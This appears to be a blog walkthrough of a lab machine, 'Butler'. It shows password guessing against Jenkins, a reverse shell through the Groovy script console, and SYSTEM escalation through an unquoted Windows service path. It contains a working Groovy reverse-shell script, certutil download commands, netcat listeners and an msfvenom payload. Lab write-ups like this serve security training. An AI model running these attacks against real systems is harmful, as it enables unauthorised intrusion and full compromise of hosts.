Back to Blog

Butler Machine Walkthrough

Jenkins Exploitation & Windows Unquoted Service Path Privilege Escalation

Overview

This walkthrough demonstrates a complete penetration test of the Butler Windows machine. We'll exploit a Jenkins server with weak credentials, gain initial access via Groovy script console, and escalate privileges through an unquoted service path vulnerability.

Target Machine: Butler
Platform: Windows
Difficulty: Easy to Medium
Skills Required: Nmap, Jenkins Exploitation, Groovy Reverse Shell, Windows Privilege Escalation, Unquoted Service Paths

VM Download: VMs - Google Drive

Reconnaissance

Nmap Scan

After logging in and obtaining the target IP, let's start with an Nmap scan:

nmap -sV -sC 10.0.2.X
Nmap Scan Results

Discovered Services

The scan reveals port 8080 is open, typically indicating a web service or application server.

Web Service Enumeration

Jenkins Discovery

Navigating to http://10.0.2.X:8080 reveals a Jenkins login page.

Jenkins Login Page

Jenkins is a popular open-source automation server used for continuous integration and deployment. Let's enumerate:

Password Spraying Attack

Since direct enumeration didn't yield results, let's attempt a password spraying attack using Burp Suite.

Burp Suite Intercept

Steps to perform password spraying:

Burp Suite Attack Configuration

Credentials Found

After testing common Jenkins usernames and passwords, we discovered valid credentials:

Username: jenkins
Password: jenkins

This is a common default or weak credential combination often left unchanged on Jenkins installations.

Initial Access

Jenkins Dashboard Access

Using the discovered credentials, we successfully log into Jenkins:

Jenkins Login Success
Jenkins Dashboard

Script Console Discovery

After exploring the Jenkins dashboard, we discover the Script Console under "Manage Jenkins".

The Script Console allows administrators to run arbitrary Groovy scripts on the Jenkins server. This is a powerful feature that can be abused to gain command execution.

Groovy Reverse Shell

We can execute a Groovy reverse shell to gain access to the underlying Windows system. Search for "groovy reverse shell" on Google to find a GitHub repository with the script.

Groovy Reverse Shell Script

Here's the Groovy reverse shell script:

String host="10.0.2.15";  // Change to your attacker IP
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
    try {p.exitValue();break;}catch (Exception e){}
};
p.destroy();
s.close();

Modify the script:

Setting Up Listener

Before running the script, set up a netcat listener on your attack machine:

nc -nvlp 8044

Executing the Reverse Shell

Paste the modified Groovy script into the Script Console and click "Run".

Shell Received

Success! We've received a shell connection.

Initial Enumeration

whoami
# Output: butler\butler

systeminfo

We're currently running as the butler user, not SYSTEM. We need to escalate our privileges.

Privilege Escalation

Using WinPEAS for Enumeration

WinPEAS is an excellent tool for Windows privilege escalation enumeration. Download it from:

PEASS-ng Releases

Transferring WinPEAS

Set up a Python HTTP server on your attack machine:

python3 -m http.server 80
HTTP Server Running

On the target machine, download WinPEAS using certutil:

certutil.exe -urlcache -f http://10.0.2.15/winPEASx64.exe winPEASx64.exe

Execute WinPEAS:

.\winPEASx64.exe

Vulnerability Discovery: Unquoted Service Path

WinPEAS reveals an interesting finding - an unquoted service path with spaces:

WinPEAS Unquoted Service Path
Service Name: WiseBootAssistant
Path: C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe
Vulnerability: Unquoted Service Path with Spaces

Understanding Unquoted Service Paths

When Windows encounters an unquoted path with spaces, it interprets it in multiple ways:

If we can place a malicious executable at C:\Program Files (x86)\Wise\Wise.exe, Windows will execute it when the service starts!

Creating Malicious Payload

Generate a reverse shell payload using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.15 LPORT=7777 -f exe > Wise.exe

Transfer the payload to the target:

certutil.exe -urlcache -f http://10.0.2.15/Wise.exe Wise.exe

Navigating to Target Directory

Navigate to the vulnerable directory:

cd "C:\Program Files (x86)\Wise"
dir
Wise Directory
Wise.exe Uploaded

Exploiting the Service

Set up a netcat listener for the privileged shell:

nc -nvlp 7777

Now we need to restart the service to trigger our payload. Use these commands:

# Stop the service
sc stop WiseBootAssistant

# Verify it's stopped
sc query WiseBootAssistant

# Start the service (this will execute our Wise.exe)
sc start WiseBootAssistant
Important: Simply running Wise.exe manually will execute it as the current user (butler). We need the service to start it, which will run it with SYSTEM privileges.

SYSTEM Access

SYSTEM Shell

Success! We received a connection with SYSTEM privileges!

whoami
# Output: nt authority\system
Box Rooted Successfully! 🎉
We have achieved SYSTEM-level access on the Butler machine.

Summary

Attack Chain

Key Lessons

Tools Used

Remediation

Disclaimer: This walkthrough is for educational purposes only. Always obtain proper authorization before performing penetration testing on any system.
Back to Blog